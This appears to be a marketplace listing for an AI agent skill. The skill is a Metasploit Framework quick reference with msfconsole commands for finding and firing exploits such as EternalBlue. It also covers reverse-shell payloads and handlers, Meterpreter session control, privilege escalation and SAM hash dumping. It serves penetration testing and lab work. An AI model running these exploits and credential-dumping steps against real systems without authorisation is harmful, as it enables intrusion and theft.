# Metasploit

> Auth/lab ref: Metasploit module reference; search/config/check, handler/session lab, msfconsole/msfvenom syntax, evidence capture.

- Skill: `aeondave/metasploit` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add aeondave/metasploit`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aeondave/metasploit/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: BSD-3-Clause
- Author: AeonDave (https://skillmd.com/u/aeondave)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aeondave/metasploit

---


# Metasploit Framework

Exploit framework — find, configure, and fire exploits; manage sessions; automate post-exploitation.

## Quick Start

```bash
# Start console (with DB)
msfdb init && msfconsole

# Start quiet
msfconsole -q
```

## Core Workflow

```
msf6 > search type:exploit name:eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > info
msf6 exploit(...) > show options
msf6 exploit(...) > set RHOSTS 10.10.10.10
msf6 exploit(...) > set LHOST 10.10.14.5
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > run
```

## Search Syntax

```bash
search type:exploit platform:windows name:smb
search cve:2021-44228                    # Log4Shell
search type:auxiliary name:scanner      # Auxiliary scanners
search rank:excellent platform:linux    # Only excellent-ranked
```

## Module Types

| Type | Prefix | Use |
|------|--------|-----|
| exploit | `exploit/` | Run exploit against target |
| auxiliary | `auxiliary/` | Scanners, fuzzers, brute-force |
| post | `post/` | Post-exploitation on session |
| payload | `payload/` | Shellcode / stager |
| encoder | `encoder/` | Payload obfuscation |
| nop | `nop/` | NOP sleds |

## Essential Commands

```bash
info                   # Module details, options, references
show options           # Required/optional params
show payloads          # Compatible payloads for this module
show targets           # Supported target OS variants
set OPTION VALUE       # Set option
setg OPTION VALUE      # Set globally (persists across modules)
unset OPTION           # Clear option
check                  # Test if target is vulnerable (if supported)
run / exploit          # Fire
run -j                 # Run as background job
jobs                   # List running jobs
kill <id>              # Kill a job
```

## Payload Selection

```bash
# Staged (small stager, pulls stage over network — needs handler)
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Stageless (self-contained — works without handler running)
set PAYLOAD windows/x64/meterpreter_reverse_tcp

# Common payloads
windows/x64/meterpreter/reverse_tcp       # Windows staged
windows/x64/shell_reverse_tcp             # Windows raw shell
linux/x64/meterpreter/reverse_tcp         # Linux staged
linux/x64/shell/reverse_tcp               # Linux shell
python/meterpreter/reverse_tcp            # Python target
```

## Multi/Handler (Catch Reverse Shells)

```bash
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run -j     # Background — catches incoming connections
```

## Sessions

```bash
sessions -l              # List sessions
sessions -i 1            # Interact with session 1
sessions -u 1            # Upgrade shell to meterpreter
sessions -k 1            # Kill session
background               # Background current session (Ctrl+Z)
```

## Meterpreter Quick Reference

```bash
sysinfo              # System info
getuid               # Current user
getsystem            # Attempt privilege escalation
getpid               # Process ID
ps                   # Process list
migrate <PID>        # Migrate to another process
shell                # Drop to OS shell
upload file /path/   # Upload file
download /path/file  # Download file
ls / pwd / cd        # Filesystem navigation
hashdump             # Dump SAM hashes (needs SYSTEM)
run post/multi/recon/local_exploit_suggester   # Find privesc
```

## Database Commands

```bash
db_nmap -sV -p- 10.10.10.10    # Nmap scan + store results
hosts                           # Show discovered hosts
services                        # Show discovered services
vulns                           # Show flagged vulnerabilities
creds                           # Show captured credentials
```

## Resources

| File | When to load |
|------|--------------|
| `references/msfvenom.md` | Payload generation with msfvenom, encoders, formats |
| `references/post-exploitation.md` | Post modules, pivoting, credential extraction |